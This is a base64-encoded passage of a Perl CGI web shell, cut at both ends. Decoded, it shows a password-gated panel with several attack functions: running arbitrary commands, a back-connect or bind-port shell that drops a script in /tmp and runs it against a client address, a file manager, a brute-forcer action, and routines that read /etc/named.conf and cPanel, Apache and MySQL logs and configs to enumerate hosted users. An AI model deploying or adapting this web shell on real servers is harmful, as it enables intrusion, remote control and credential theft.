gRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KDQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9h